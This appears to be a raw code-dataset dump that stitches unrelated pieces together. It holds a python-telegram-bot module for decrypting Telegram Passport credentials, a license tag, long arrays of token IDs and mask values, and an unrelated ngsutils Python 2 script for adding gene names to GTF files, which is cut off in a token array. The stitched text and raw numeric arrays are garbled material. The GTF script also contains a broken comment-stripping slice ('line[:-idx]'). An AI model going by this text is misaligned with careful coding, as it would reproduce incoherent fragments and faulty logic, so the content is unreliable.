[http://www.gnu.org/licenses/]. try: import ujson as json except ImportError: import json from base64 import b64decode from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric.padding import OAEP, MGF1 from cryptography.hazmat.primitives.ciphers import Cipher from cryptography.hazmat.primitives.ciphers.algorithms import AES from cryptography.hazmat.primitives.ciphers.modes import CBC from cryptography.hazmat.primitives.hashes import SHA512, SHA256, Hash, SHA1 from future.utils import bord from telegram import TelegramObject, TelegramError class TelegramDecryptionError(TelegramError): """ Something went wrong with decryption. """ def __init__(self, message): super(TelegramDecryptionError, self).__init__("TelegramDecryptionError: " "{}".format(message)) def decrypt(secret, hash, data): """ Decrypt per telegram docs at https://core.telegram.org/passport. Args: secret (:obj:`str` or :obj:`bytes`): The encryption secret, either as bytes or as a base64 encoded string. hash (:obj:`str` or :obj:`bytes`): The hash, either as bytes or as a base64 encoded string. data (:obj:`str` or :obj:`bytes`): The data to decrypt, either as bytes or as a base64 encoded string. file (:obj:`bool`): Force data to be treated as raw data, instead of trying to b64decode it. Raises: :class:`TelegramDecryptionError`: Given hash does not match hash of decrypted data. Returns: :obj:`bytes`: The decrypted data as bytes. """ # Make a SHA512 hash of secret + update digest = Hash(SHA512(), backend=default_backend()) digest.update(secret + hash) secret_hash_hash = digest.finalize() # First 32 chars is our key, next 16 is the initialisation vector key, iv = secret_hash_hash[:32], secret_hash_hash[32:32 + 16] # Init a AES-CBC cipher and decrypt the data cipher = Cipher(AES(key), CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() data = decryptor.update(data) + decryptor.finalize() # Calculate SHA256 hash of the decrypted data digest = Hash(SHA256(), backend=default_backend()) digest.update(data) data_hash = digest.finalize() # If the newly calculated hash did not match the one telegram gave us if data_hash != hash: # Raise a error that is caught inside telegram.PassportData and transformed into a warning raise TelegramDecryptionError("Hashes are not equal! {} != {}".format(data_hash, hash)) # Return data without padding return data[bord(data[0]):] def decrypt_json(secret, hash, data): """Decrypts data using secret and hash and then decodes utf-8 string and loads json""" return json.loads(decrypt(secret, hash, data).decode('utf-8')) class EncryptedCredentials(TelegramObject): """Contains data required for decrypting and authenticating EncryptedPassportElement. See the Telegram Passport Documentation for a complete description of the data decryption and authentication processes. Attributes: data (:class:`telegram.Credentials` or :obj:`str`): Decrypted data with unique user's nonce, data hashes and secrets used for EncryptedPassportElement decryption and authentication or base64 encrypted data. hash (:obj:`str`): Base64-encoded data hash for data authentication. secret (:obj:`str`): Decrypted or encrypted secret used for decryption. Args: data (:class:`telegram.Credentials` or :obj:`str`): Decrypted data with unique user's nonce, data hashes and secrets used for EncryptedPassportElement decryption and authentication or base64 encrypted data. hash (:obj:`str`): Base64-encoded data hash for data authentication. secret (:obj:`str`): Decrypted or encrypted secret used for decryption. **kwargs (:obj:`dict`): Arbitrary keyword arguments. Note: This object is decrypted only when originating from :obj:`telegram.PassportData.decrypted_credentials`. """ def __init__(self, data, hash, secret, bot=None, **kwargs): # Required self.data = data self.hash = hash self.secret = secret self._id_attrs = (self.data, self.hash, self.secret) self.bot = bot self._decrypted_secret = None self._decrypted_data = None @classmethod def de_json(cls, data, bot): if not data: return None data = super(EncryptedCredentials, cls).de_json(data, bot) return cls(bot=bot, **data) @property def decrypted_secret(self): """ :obj:`str`: Lazily decrypt and return secret. Raises: telegram.TelegramDecryptionError: Decryption failed. Usually due to bad private/public key but can also suggest malformed/tampered data. """ if self._decrypted_secret is None: # Try decrypting according to step 1 at # https://core.telegram.org/passport#decrypting-data # We make sure to base64 decode the secret first. # Telegram says to use OAEP padding so we do that. The Mask Generation Function # is the default for OAEP, the algorithm is the default for PHP which is what # Telegram's backend servers run. try: self._decrypted_secret = self.bot.private_key.decrypt(b64decode(self.secret), OAEP( mgf=MGF1(algorithm=SHA1()), algorithm=SHA1(), label=None )) except ValueError as e: # If decryption fails raise exception raise TelegramDecryptionError(e) return self._decrypted_secret @property def decrypted_data(self): """ :class:`telegram.Credentials`: Lazily decrypt and return credentials data. This object also contains the user specified nonce as `decrypted_data.nonce`. Raises: telegram.TelegramDecryptionError: Decryption failed. Usually due to bad private/public key but can also suggest malformed/tampered data. """ if self._decrypted_data is None: self._decrypted_data = Credentials.de_json(decrypt_json(self.decrypted_secret, b64decode(self.hash), b64decode(self.data)), self.bot) return self._decrypted_data class Credentials(TelegramObject): """ Attributes: secure_data (:class:`telegram.SecureData`): Credentials for encrypted data nonce (:obj:`str`): Bot-specified nonce """ def __init__(self, secure_data, nonce, bot=None, **kwargs): # Required self.secure_data = secure_data self.nonce = nonce self.bot = bot @classmethod def de_json(cls, data, bot): if not data: return None data['secure_data'] = SecureData.de_json(data.get('secure_data'), bot=bot) return cls(bot=bot, **data) class SecureData(TelegramObject): """ This object represents the credentials that were used to decrypt the encrypted data. All fields are optional and depend on fields that were requested. Attributes: personal_details (:class:`telegram.SecureValue`, optional): Credentials for encrypted personal details. passport (:class:`telegram.SecureValue`, optional): Credentials for encrypted passport. internal_passport (:class:`telegram.SecureValue`, optional): Credentials for encrypted internal passport. driver_license (:class:`telegram.SecureValue`, optional): Credentials for encrypted driver license. identity_card (:class:`telegram.SecureValue`, optional): Credentials for encrypted ID card address (:class:`telegram.SecureValue`, optional): Credentials for encrypted residential address. utility_bill (:class:`telegram.SecureValue`, optional): Credentials for encrypted utility bill. bank_statement (:class:`telegram.SecureValue`, optional): Credentials for encrypted bank statement. rental_agreement (:class:`telegram.SecureValue`, optional): Credentials for encrypted rental agreement. passport_registration (:class:`telegram.SecureValue`, optional): Credentials for encrypted registration from internal passport. temporary_registration (:class:`telegram.SecureValue`, optional): Credentials for encrypted temporary registration. """ def __init__(self, personal_details=None, passport=None, internal_passport=None, driver_license=None, identity_card=None, address=None, utility_bill=None, bank_statement=None, rental_agreement=None, passport_registration=None, temporary_registration=None, bot=None, **kwargs): # Optionals self.temporary_registration = temporary_registration self.passport_registration = passport_registration self.rental_agreement = rental_agreement self.bank_statement = bank_statement self.utility_bill = utility_bill self.address = address self.identity_card = identity_card self.driver_license = driver_license self.internal_passport = internal_passport self.passport = passport self.personal_details = personal_details self.bot = bot @classmethod def de_json(cls, data, bot): if not data: return None data['temporary_registration'] = SecureValue.de_json(data.get('temporary_registration'), bot=bot) data['passport_registration'] = SecureValue.de_json(data.get('passport_registration'), bot=bot) data['rental_agreement'] = SecureValue.de_json(data.get('rental_agreement'), bot=bot) data['bank_statement'] = SecureValue.de_json(data.get('bank_statement'), bot=bot) data['utility_bill'] = SecureValue.de_json(data.get('utility_bill'), bot=bot) data['address'] = SecureValue.de_json(data.get('address'), bot=bot) data['identity_card'] = SecureValue.de_json(data.get('identity_card'), bot=bot) data['driver_license'] = SecureValue.de_json(data.get('driver_license'), bot=bot) data['internal_passport'] = SecureValue.de_json(data.get('internal_passport'), bot=bot) data['passport'] = SecureValue.de_json(data.get('passport'), bot=bot) data['personal_details'] = SecureValue.de_json(data.get('personal_details'), bot=bot) return cls(bot=bot, **data) class SecureValue(TelegramObject): """ This object represents the credentials that were used to decrypt the encrypted value. All fields are optional and depend on the type of field. Attributes: data (:class:`telegram.DataCredentials`, optional): Credentials for encrypted Telegram Passport data. Available for "personal_details", "passport", "driver_license", "identity_card", "identity_passport" and "address" types. front_side (:class:`telegram.FileCredentials`, optional): Credentials for encrypted document's front side. Available for "passport", "driver_license", "identity_card" and "internal_passport". reverse_side (:class:`telegram.FileCredentials`, optional): Credentials for encrypted document's reverse side. Available for "driver_license" and "identity_card". selfie (:class:`telegram.FileCredentials`, optional): Credentials for encrypted selfie of the user with a document. Can be available for "passport", "driver_license", "identity_card" and "internal_passport". translation (List[:class:`telegram.FileCredentials`], optional): Credentials for an encrypted translation of the document. Available for "passport", "driver_license", "identity_card", "internal_passport", "utility_bill", "bank_statement", "rental_agreement", "passport_registration" and "temporary_registration". files (List[:class:`telegram.FileCredentials`], optional): Credentials for encrypted files. Available for "utility_bill", "bank_statement", "rental_agreement", "passport_registration" and "temporary_registration" types. """ def __init__(self, data=None, front_side=None, reverse_side=None, selfie=None, files=None, translation=None, bot=None, **kwargs): self.data = data self.front_side = front_side self.reverse_side = reverse_side self.selfie = selfie self.files = files self.translation = translation self.bot = bot @classmethod def de_json(cls, data, bot): if not data: return None data['data'] = DataCredentials.de_json(data.get('data'), bot=bot) data['front_side'] = FileCredentials.de_json(data.get('front_side'), bot=bot) data['reverse_side'] = FileCredentials.de_json(data.get('reverse_side'), bot=bot) data['selfie'] = FileCredentials.de_json(data.get('selfie'), bot=bot) data['files'] = FileCredentials.de_list(data.get('files'), bot=bot) data['translation'] = FileCredentials.de_list(data.get('translation'), bot=bot) return cls(bot=bot, **data) def to_dict(self): data = super(SecureValue, self).to_dict() data['files'] = [p.to_dict() for p in self.files] data['translation'] = [p.to_dict() for p in self.translation] return data class _CredentialsBase(TelegramObject): """Base class for DataCredentials and FileCredentials.""" def __init__(self, hash, secret, bot=None, **kwargs): self.hash = hash self.secret = secret # Aliases just be be sure self.file_hash = self.hash self.data_hash = self.hash self.bot = bot @classmethod def de_json(cls, data, bot): if not data: return None return cls(bot=bot, **data) @classmethod def de_list(cls, data, bot): if not data: return [] credentials = list() for c in data: credentials.append(cls.de_json(c, bot=bot)) return credentials class DataCredentials(_CredentialsBase): """ These credentials can be used to decrypt encrypted data from the data field in EncryptedPassportData. Args: data_hash (:obj:`str`): Checksum of encrypted data secret (:obj:`str`): Secret of encrypted data Attributes: hash (:obj:`str`): Checksum of encrypted data secret (:obj:`str`): Secret of encrypted data """ def __init__(self, data_hash, secret, **kwargs): super(DataCredentials, self).__init__(data_hash, secret, **kwargs) def to_dict(self): data = super(DataCredentials, self).to_dict() del data['file_hash'] del data['hash'] return data class FileCredentials(_CredentialsBase): """ These credentials can be used to decrypt encrypted files from the front_side, reverse_side, selfie and files fields in EncryptedPassportData. Args: file_hash (:obj:`str`): Checksum of encrypted file secret (:obj:`str`): Secret of encrypted file Attributes: hash (:obj:`str`): Checksum of encrypted file secret (:obj:`str`): Secret of encrypted file """ def __init__(self, file_hash, secret, **kwargs): super(FileCredentials, self).__init__(file_hash, secret, **kwargs) def to_dict(self): data = super(FileCredentials, self).to_dict() del data['data_hash'] del data['hash'] return data
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 437, 3555, 626, 6571, 282, 2018, 3217, 370, 314, 23884, 1679, 24896, 3261, 199, 3, 1898, 334, 35, 9, 6900, 13, 12682, 199, 3, 7005, 460, 293, 4005, 274, 1117, 477, 428, 810, 8076, 665, 18804, 32, 1548, 13, 15253, 1679, 13, 3018, 14, 1308, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 6401, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 359, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 1055, 199, 893, 26, 272, 492, 399, 1001, 465, 2022, 199, 2590, 3545, 26, 272, 492, 2022, 199, 504, 1300, 772, 492, 330, 772, 2708, 199, 199, 504, 27617, 14, 22133, 569, 14, 7765, 492, 849, 63, 4620, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 5660, 77, 5165, 14, 8358, 492, 593, 33, 6102, 12, 603, 17395, 17, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 27426, 492, 29683, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 27426, 14, 24365, 492, 19093, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 27426, 14, 10433, 492, 445, 6265, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 12428, 492, 12002, 7736, 12, 12002, 3912, 12, 16101, 12, 12002, 17, 199, 504, 6466, 14, 1208, 492, 330, 2181, 199, 199, 504, 14001, 1679, 492, 23884, 1679, 1692, 12, 23884, 1679, 547, 421, 199, 533, 23884, 1679, 8584, 651, 494, 547, 8, 24944, 1679, 547, 304, 272, 408, 272, 27173, 22396, 6835, 543, 477, 7950, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1245, 304, 267, 1613, 8, 24944, 1679, 8584, 651, 494, 547, 12, 291, 2843, 826, 29093, 24944, 1679, 8584, 651, 494, 547, 26, 298, 10028, 11491, 1674, 908, 8, 1188, 430, 421, 199, 318, 20090, 8, 4731, 12, 2631, 12, 666, 304, 272, 408, 272, 13966, 13656, 1126, 14001, 1679, 9149, 737, 4178, 921, 1018, 14, 15253, 1679, 14, 1308, 15, 1529, 719, 14, 339, 3033, 26, 267, 7565, 18479, 1113, 1705, 495, 64, 503, 520, 1113, 1705, 2394, 25452, 710, 14396, 7565, 12, 1902, 465, 2783, 503, 465, 282, 288, 1300, 772, 5737, 1059, 14, 267, 2631, 18479, 1113, 1705, 495, 64, 503, 520, 1113, 1705, 2394, 25452, 710, 2631, 12, 1902, 465, 2783, 503, 465, 282, 288, 1300, 772, 5737, 1059, 14, 267, 666, 18479, 1113, 1705, 495, 64, 503, 520, 1113, 1705, 2394, 25452, 710, 666, 370, 20090, 12, 1902, 465, 2783, 503, 465, 282, 288, 1300, 772, 5737, 1059, 14, 267, 570, 18479, 1113, 1705, 2245, 25452, 18771, 666, 370, 506, 10184, 465, 3066, 666, 12, 3140, 402, 9936, 370, 288, 330, 772, 2708, 652, 14, 339, 6218, 26, 267, 520, 533, 1705, 24944, 1679, 8584, 651, 494, 547, 8340, 9138, 2631, 1630, 440, 1336, 2631, 402, 477, 8274, 666, 14, 339, 1803, 26, 267, 520, 1113, 1705, 2394, 8340, 710, 477, 8274, 666, 465, 2783, 14, 339, 408, 272, 327, 4155, 282, 12002, 7736, 2631, 402, 7565, 435, 1678, 272, 10017, 275, 16101, 8, 8461, 7736, 1062, 4865, 29, 885, 63, 4620, 1012, 272, 10017, 14, 873, 8, 4731, 435, 2631, 9, 272, 7565, 63, 2227, 63, 2227, 275, 10017, 14, 14450, 342, 272, 327, 7758, 4337, 8365, 365, 4154, 790, 12, 2163, 3193, 365, 314, 2536, 19914, 5477, 272, 790, 12, 18831, 275, 7565, 63, 2227, 63, 2227, 1491, 708, 467, 7565, 63, 2227, 63, 2227, 59, 708, 26, 708, 435, 3193, 61, 272, 327, 21026, 282, 19093, 13, 18255, 10830, 436, 20090, 314, 666, 272, 10830, 275, 29683, 8, 14494, 8, 498, 395, 445, 6265, 8, 1003, 395, 4865, 29, 885, 63, 4620, 1012, 272, 20090, 269, 275, 10830, 14, 15682, 269, 342, 272, 666, 275, 20090, 269, 14, 873, 8, 576, 9, 435, 20090, 269, 14, 14450, 342, 272, 327, 12707, 12002, 3912, 2631, 402, 314, 477, 8274, 666, 272, 10017, 275, 16101, 8, 8461, 3912, 1062, 4865, 29, 885, 63, 4620, 1012, 272, 10017, 14, 873, 8, 576, 9, 272, 666, 63, 2227, 275, 10017, 14, 14450, 342, 272, 327, 982, 314, 13903, 12950, 2631, 8103, 440, 1336, 314, 1373, 14001, 1679, 486, 811, 2739, 272, 340, 666, 63, 2227, 1137, 2631, 26, 267, 327, 14771, 282, 1125, 626, 365, 15604, 6272, 14001, 1679, 14, 4986, 719, 1451, 436, 14834, 1901, 282, 5721, 267, 746, 23884, 1679, 8584, 651, 494, 547, 480, 31660, 787, 440, 4472, 1, 1052, 1137, 8352, 908, 8, 576, 63, 2227, 12, 2631, 430, 272, 327, 1432, 666, 1928, 6273, 272, 372, 666, 59, 66, 2181, 8, 576, 59, 16, 4682, 61, 421, 199, 318, 20090, 63, 1001, 8, 4731, 12, 2631, 12, 666, 304, 272, 408, 8584, 651, 8382, 666, 1808, 7565, 436, 2631, 436, 2066, 4849, 83, 2774, 13, 24, 1059, 436, 14404, 2022, 624, 272, 372, 2022, 14, 3640, 8, 15682, 8, 4731, 12, 2631, 12, 666, 680, 2708, 360, 1624, 13, 24, 1333, 421, 199, 533, 3447, 8274, 13428, 8, 24944, 1679, 1692, 304, 272, 408, 6906, 666, 1415, 367, 20090, 316, 436, 28532, 1958, 3447, 8274, 4986, 719, 2162, 14, 1666, 314, 272, 23884, 1679, 8325, 719, 15249, 367, 282, 4890, 1369, 402, 314, 666, 477, 7950, 436, 272, 6299, 10358, 14, 339, 9382, 26, 267, 666, 18479, 533, 1705, 15253, 1679, 14, 13428, 64, 503, 520, 1113, 1705, 495, 25452, 13966, 651, 4979, 666, 543, 3747, 922, 1159, 288, 13711, 12, 666, 14647, 436, 25563, 1202 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 437, 3555, 626, 6571, 282, 2018, 3217, 370, 314, 23884, 1679, 24896, 3261, 199, 3, 1898, 334, 35, 9, 6900, 13, 12682, 199, 3, 7005, 460, 293, 4005, 274, 1117, 477, 428, 810, 8076, 665, 18804, 32, 1548, 13, 15253, 1679, 13, 3018, 14, 1308, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 6401, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 359, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 1055, 199, 893, 26, 272, 492, 399, 1001, 465, 2022, 199, 2590, 3545, 26, 272, 492, 2022, 199, 504, 1300, 772, 492, 330, 772, 2708, 199, 199, 504, 27617, 14, 22133, 569, 14, 7765, 492, 849, 63, 4620, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 5660, 77, 5165, 14, 8358, 492, 593, 33, 6102, 12, 603, 17395, 17, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 27426, 492, 29683, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 27426, 14, 24365, 492, 19093, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 27426, 14, 10433, 492, 445, 6265, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 12428, 492, 12002, 7736, 12, 12002, 3912, 12, 16101, 12, 12002, 17, 199, 504, 6466, 14, 1208, 492, 330, 2181, 199, 199, 504, 14001, 1679, 492, 23884, 1679, 1692, 12, 23884, 1679, 547, 421, 199, 533, 23884, 1679, 8584, 651, 494, 547, 8, 24944, 1679, 547, 304, 272, 408, 272, 27173, 22396, 6835, 543, 477, 7950, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1245, 304, 267, 1613, 8, 24944, 1679, 8584, 651, 494, 547, 12, 291, 2843, 826, 29093, 24944, 1679, 8584, 651, 494, 547, 26, 298, 10028, 11491, 1674, 908, 8, 1188, 430, 421, 199, 318, 20090, 8, 4731, 12, 2631, 12, 666, 304, 272, 408, 272, 13966, 13656, 1126, 14001, 1679, 9149, 737, 4178, 921, 1018, 14, 15253, 1679, 14, 1308, 15, 1529, 719, 14, 339, 3033, 26, 267, 7565, 18479, 1113, 1705, 495, 64, 503, 520, 1113, 1705, 2394, 25452, 710, 14396, 7565, 12, 1902, 465, 2783, 503, 465, 282, 288, 1300, 772, 5737, 1059, 14, 267, 2631, 18479, 1113, 1705, 495, 64, 503, 520, 1113, 1705, 2394, 25452, 710, 2631, 12, 1902, 465, 2783, 503, 465, 282, 288, 1300, 772, 5737, 1059, 14, 267, 666, 18479, 1113, 1705, 495, 64, 503, 520, 1113, 1705, 2394, 25452, 710, 666, 370, 20090, 12, 1902, 465, 2783, 503, 465, 282, 288, 1300, 772, 5737, 1059, 14, 267, 570, 18479, 1113, 1705, 2245, 25452, 18771, 666, 370, 506, 10184, 465, 3066, 666, 12, 3140, 402, 9936, 370, 288, 330, 772, 2708, 652, 14, 339, 6218, 26, 267, 520, 533, 1705, 24944, 1679, 8584, 651, 494, 547, 8340, 9138, 2631, 1630, 440, 1336, 2631, 402, 477, 8274, 666, 14, 339, 1803, 26, 267, 520, 1113, 1705, 2394, 8340, 710, 477, 8274, 666, 465, 2783, 14, 339, 408, 272, 327, 4155, 282, 12002, 7736, 2631, 402, 7565, 435, 1678, 272, 10017, 275, 16101, 8, 8461, 7736, 1062, 4865, 29, 885, 63, 4620, 1012, 272, 10017, 14, 873, 8, 4731, 435, 2631, 9, 272, 7565, 63, 2227, 63, 2227, 275, 10017, 14, 14450, 342, 272, 327, 7758, 4337, 8365, 365, 4154, 790, 12, 2163, 3193, 365, 314, 2536, 19914, 5477, 272, 790, 12, 18831, 275, 7565, 63, 2227, 63, 2227, 1491, 708, 467, 7565, 63, 2227, 63, 2227, 59, 708, 26, 708, 435, 3193, 61, 272, 327, 21026, 282, 19093, 13, 18255, 10830, 436, 20090, 314, 666, 272, 10830, 275, 29683, 8, 14494, 8, 498, 395, 445, 6265, 8, 1003, 395, 4865, 29, 885, 63, 4620, 1012, 272, 20090, 269, 275, 10830, 14, 15682, 269, 342, 272, 666, 275, 20090, 269, 14, 873, 8, 576, 9, 435, 20090, 269, 14, 14450, 342, 272, 327, 12707, 12002, 3912, 2631, 402, 314, 477, 8274, 666, 272, 10017, 275, 16101, 8, 8461, 3912, 1062, 4865, 29, 885, 63, 4620, 1012, 272, 10017, 14, 873, 8, 576, 9, 272, 666, 63, 2227, 275, 10017, 14, 14450, 342, 272, 327, 982, 314, 13903, 12950, 2631, 8103, 440, 1336, 314, 1373, 14001, 1679, 486, 811, 2739, 272, 340, 666, 63, 2227, 1137, 2631, 26, 267, 327, 14771, 282, 1125, 626, 365, 15604, 6272, 14001, 1679, 14, 4986, 719, 1451, 436, 14834, 1901, 282, 5721, 267, 746, 23884, 1679, 8584, 651, 494, 547, 480, 31660, 787, 440, 4472, 1, 1052, 1137, 8352, 908, 8, 576, 63, 2227, 12, 2631, 430, 272, 327, 1432, 666, 1928, 6273, 272, 372, 666, 59, 66, 2181, 8, 576, 59, 16, 4682, 61, 421, 199, 318, 20090, 63, 1001, 8, 4731, 12, 2631, 12, 666, 304, 272, 408, 8584, 651, 8382, 666, 1808, 7565, 436, 2631, 436, 2066, 4849, 83, 2774, 13, 24, 1059, 436, 14404, 2022, 624, 272, 372, 2022, 14, 3640, 8, 15682, 8, 4731, 12, 2631, 12, 666, 680, 2708, 360, 1624, 13, 24, 1333, 421, 199, 533, 3447, 8274, 13428, 8, 24944, 1679, 1692, 304, 272, 408, 6906, 666, 1415, 367, 20090, 316, 436, 28532, 1958, 3447, 8274, 4986, 719, 2162, 14, 1666, 314, 272, 23884, 1679, 8325, 719, 15249, 367, 282, 4890, 1369, 402, 314, 666, 477, 7950, 436, 272, 6299, 10358, 14, 339, 9382, 26, 267, 666, 18479, 533, 1705, 15253, 1679, 14, 13428, 64, 503, 520, 1113, 1705, 495, 25452, 13966, 651, 4979, 666, 543, 3747, 922, 1159, 288, 13711, 12, 666, 14647, 436, 25563, 1202, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ngsutils/ngsutils
ngsutils/gtf/add_xref.py
1
3246
#!/usr/bin/env python ## category General ## desc Appends name annotation from UCSC Xref file '''Adds gene name annotations to a GTF file (xref) This adds gene name annotations based upon the KnownGene annotations from the UCSC Genome Browser. Gene names will be taken from the kgXref table. This table must be downloaded separately from the UCSC Genome Browser. This assumes that the file will be in tab-delimited format and that there is one line for each transcript. You may specify which column represents the gene name. In the standard "kgXref.txt" file, this is column #5. This will add the following attributes: gene_name ''' import sys import os from ngsutils.support import gzip_reader def gtf_add_xref(gtf, xref, column=4, out=sys.stdout, quiet=False): gene_names = {} if not quiet: sys.stderr.write('Reading xref...\n') for line in gzip_reader(xref): if line[0] == '#': continue cols = line.rstrip().split('\t') gene_names[cols[0]] = cols[column] if not quiet: sys.stderr.write('Reading/writing GTF...\n') for line in gzip_reader(gtf): try: comment = None idx = line.find('#') if idx > -1: if idx == 0: sys.stdout.write(line) continue comment = line[idx:] line = line[:-idx] chrom, source, feature, start, end, score, strand, frame, attrs = line.rstrip().split('\t') transcript_id = None for key, val in [x.split(' ') for x in [x.strip() for x in attrs.split(';')] if x]: if val[0] == '"' and val[-1] == '"': val = val[1:-1] if key == 'transcript_id': transcript_id = val if attrs[-1] != ';': attrs = '%s;' % attrs if transcript_id in gene_names: attrs = '%s gene_name "%s";' % (attrs, gene_names[transcript_id]) out.write('\t'.join([chrom, source, feature, start, end, score, strand, frame, attrs])) if comment: out.write('\t%s' % comment) out.write('\n') except: import traceback sys.stderr.write('Error parsing line:\n%s\n' % line) traceback.print_exc() sys.exit(1) def usage(msg=None): if msg: print msg print __doc__ print '''\ Usage: gtfutils add_xref {-col num} filename.gtf kgXref.txt Options: -col num The gene name is stored in column {num} (1-based) (default:5) ''' sys.exit(1) if __name__ == '__main__': gtf = None xref = None column = 4 last = None for arg in sys.argv[1:]: if last == '-col': column = int(arg) - 1 last = None elif not gtf and (os.path.exists(arg) or arg == '-'): gtf = arg elif not xref and (os.path.exists(arg) or arg == '-'): xref = arg elif arg in ['-col']: last = arg if not gtf or not xref: usage() if gtf == '-' and xref == '-': usage('Both GTF and Xref files can not be from stdin') gtf_add_xref(gtf, xref, column)
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 309, 4637, 1696, 199, 309, 4328, 4693, 3198, 536, 11262, 687, 21884, 35, 1323, 1121, 570, 199, 2344, 14995, 15599, 536, 15538, 370, 282, 598, 6145, 570, 334, 31332, 9, 199, 199, 2765, 9584, 15599, 536, 15538, 4079, 12188, 314, 31862, 39, 6349, 15538, 687, 314, 199, 21269, 35, 18870, 1377, 27620, 14, 598, 6349, 1561, 911, 506, 9394, 687, 314, 31746, 56, 1121, 1817, 14, 961, 199, 1224, 1471, 506, 13557, 18159, 687, 314, 21884, 35, 18870, 1377, 27620, 14, 199, 199, 2765, 15194, 626, 314, 570, 911, 506, 315, 5174, 13, 25672, 1475, 436, 626, 2337, 365, 199, 368, 1004, 367, 1924, 27229, 14, 2047, 1443, 4165, 1314, 2763, 8469, 314, 15599, 199, 354, 14, 1010, 314, 4465, 298, 9761, 56, 1121, 14, 2424, 2, 570, 12, 642, 365, 2763, 327, 21, 14, 199, 199, 2765, 911, 1050, 314, 2569, 3004, 26, 272, 15599, 63, 354, 199, 2344, 199, 199, 646, 984, 199, 646, 747, 199, 504, 302, 458, 1208, 14, 4058, 492, 11756, 63, 5503, 421, 199, 318, 486, 3249, 63, 525, 63, 31332, 8, 71, 3249, 12, 671, 1121, 12, 2763, 29, 20, 12, 734, 29, 1274, 14, 2703, 